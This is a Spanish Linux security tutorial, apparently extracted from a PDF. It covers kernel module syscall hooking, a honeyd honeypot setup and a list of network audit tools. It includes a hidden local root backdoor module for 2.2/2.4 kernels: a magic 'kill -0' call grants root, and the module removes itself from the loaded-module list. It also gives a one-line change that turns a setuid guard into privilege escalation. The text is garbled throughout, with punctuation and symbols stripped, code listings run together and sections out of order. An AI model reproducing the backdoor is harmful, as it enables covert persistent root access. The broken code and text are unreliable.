Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 2: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

IacuteNDICE DE CONTENIDOS

Kernel hacks

1) Preparando el entorno de trabajo Obtener e instalar el coacutedigo fuente del nuacutecleo

2) Conceptos baacutesicos 3) Loadable Kernel Modules

Compilacioacuten de LKMs para la serie 24x 4) Sys_call_table[] en kernels 22 y 24 5) Protegiendo el UID 0 6) Backdoor local para kernels 24x 7) Moacutedulos para la serie 26 del nuacutecleo

Compilacioacuten de LKMs para la serie 26x 8) No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Otra alternativa iquestmaacutes sencilla 9) Hooks y hacks de intereacutes (algunas ideas) 10) Rootkits visioacuten general

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo Medidas de proteccioacuten y deteccioacuten de rootkits

Conclusiones

NIDS Snort

1) Preparando el entorno de trabajo 2) Configuracioacuten baacutesica de Snort 3) Descargando nuevas reglas de Inernet 4) Prevencioacuten de intrusiones 5) Usando ACID + Snort

Creando nuevas reglas para Snort

Conclusiones

Honeypots

1) Preparando el entorno de trabajo 2) Creando nuevos sistemas virtuales 3) Otros usos

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

Conclusiones

Bibliografiacutea y recursos en Internet

Kernel hacks y seguridad JMP

NOTA

El presente documento ha sido realizado por el autor de forma iacutentegra no obstante alguna informacioacuten de la que aparece ha sido utilizada por el autor del documento en otras ocasiones (aunque no en la misma forma ni en la totalidad del contenido) para otros trabajos personales publicados en la red u otros medios de comunicacioacuten con anterioridad Dichos documentos pueden estar regidos o no por la misma licencia del presente documento Las fuentes externas (incluyendo algunas figuras usadas) cuyo origen sea ajeno seraacuten citadas de forma expliacutecita yo deberiacutea aparecer al final del presente documento

Para la realizacioacuten de algunos diagramas se usoacute la herramienta ldquoDIArdquo y para escribir el documento se usoacute ldquoOpenOfficerdquo no obstante es posible distribuir el documento en cualquier otro formato siempre y cuando se respete su licencia y su contenido El trabajo no estaacute exento de errores e imperfecciones cualquier criacutetica constructiva (a modo de ldquofeedbackrdquo) seraacute bien recibida Existe una presentacioacuten (ldquodiapositivasrdquo) adjunta al documento que amplia (ligeramente) y sintetiza ciertos aspectos del documento y que lo complementa Estaacute disponible de igual forma en la red de Internet y se usoacute para la exposicioacuten (de una charla) presentando el trabajo en una Universidad

Kernel hacks y seguridad JMP

Introduccioacuten

En 1991 alguien llamado Linus B Torvalds se compra un PC (386) para intentar comprender de forma exhaustiva su funcionamiento Como es de imaginar el sistema M$ DOS cutre de la eacutepoca no aprovechaba el procesador 386 (ni siquiera usaba el modo protegido) asiacute que Linus cogioacute otro sistema llamado Minix con A Tanembaum como principal desarrollador y empezoacute a implementar y reprogramar funcionalidades hasta el puno en el que en 1991 ya disponiacuteamos de la versioacuten de Linux (contraccioacuten Linus + Unix) 001 que estaba muy lejos de ser lo que es hoy este potente sistema operativo

La primera versioacuten oficial (la 002) data del 5 de Octubre de 1991 y ya permitiacutea ejecutar ciertos programas GNU como bash Gracias a Internet y el esfuerzo de la comunidad sobre Marzo de 1994 estaba disponible la primera versioacuten estable 10 de nuestro querido sistema operativo de forma totalmente independiente y libre -)

En este trabajo voy a tratar ciertos aspectos sobre la seguridad del nuacutecleo tanto en versiones recientes 26 como en las no tan recientes series 22 y 24 con el objetivo de ver como podemos protegernos ante ataques que se realizan a nivel del Kernel en forma de rootkit y especialmente como funcionan este tipo de programas para comprometer la seguridad

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento seraacute necesario tener en consideracioacuten una serie de requisitos previos

Para poder trabajar con un Kernel de Linux necesitamos algo fundamental esto es un Kernel -) concretamente necesitamos los sources de las series 24 y 26 para ir bien Resulta de intereacutes tener dos SO corriendo usaremos Qemu o VMWare

Necesitaremos a ser posible un depurador como GDB o cualquier otro que corra bajo Linux

Compilador GCC en una versioacuten reciente

Tener soporte para Loadable Kernel Moacutedules habilitado en el nuacutecleo actual

Un editor para el coacutedigo fuente y todas aquellas herramientas auxiliares y de sistema requeridas o que supongan una comodidad para el usuario

Nociones elevadas de C y programacioacuten a bajo nivel son altamente recomendables

11- Obtener e instalar el coacutedigo fuente del nuacutecleo

El coacutedigo fuente del nuacutecleo se puede obtener de los CDs de instalacioacuten de nuestra distribucioacuten o bien a traveacutes de Internet en la URL

httpwwwkernelorg

Una vez descomprimido el contenido del ldquotarballrdquo en usrsrc procedemos a crear un enlace simboacutelico en el mismo directorio apuntando a las fuentes del nuacutecleo que vayamos a compilar y que posteriormente tras su compilacioacuten e instalacioacuten seraacute ejecutado al reiniciar la maacutequina

ln ndashs usrsrclinux-$(uname ndashr) linux

Teniendo eso en cuenta

root cd usrsrc

1 Descargamos el coacutedigo fuente del Kernel en usrsrc 2 Descomprimimos el contenido seguacuten convenga tar jxvf linux-2xx 3 Compilamos el nuacutecleo con las opciones adecuadas

cd usrsrclinux make menuconfig make ampamp make modules_install cp archi386bootbzImage bootkernel-2xx

editamos nuestro gestor de arranque como sea necesario (reiniciamos la maacutequina)

Kernel hacks y seguridad JMP

2- Conceptos baacutesicos

Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen

Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos

1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30

El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado

f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74

Kernel hacks y seguridad JMP

Kerneland y Userland

Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland

Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes

Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo

Archivos de cabecera

Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo

Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura

Llamadas al sistema

En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal

Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario

Kernel hacks y seguridad JMP

3- Loadable Kernel Modules

Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente

Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute

Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod

Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)

Kernel hacks y seguridad JMP

31- Compilacioacuten de LKMs para la serie 24x

Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel

root gcc -c listado2c -I usrsrclinuxinclude

lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado

root insmod listado2o parm_entero=5

podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt

Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute

Explicacioacuten

En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso

Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel

Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog

Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages

Kernel hacks y seguridad JMP

4- Sys_call_table[] en kernels 22 y 24

Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo

extern void sys_call_table[]

Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)

Listado 3

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)

Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento

El funcionmiento se explica a continuacioacuten

Kernel hacks y seguridad JMP

Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado

iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt

$cat usrsrclinuxincludelinuxasmunistdh|less

Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh

Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod

La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt

sigue listado 4

Kernel hacks y seguridad JMP

continuando listado 4

8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

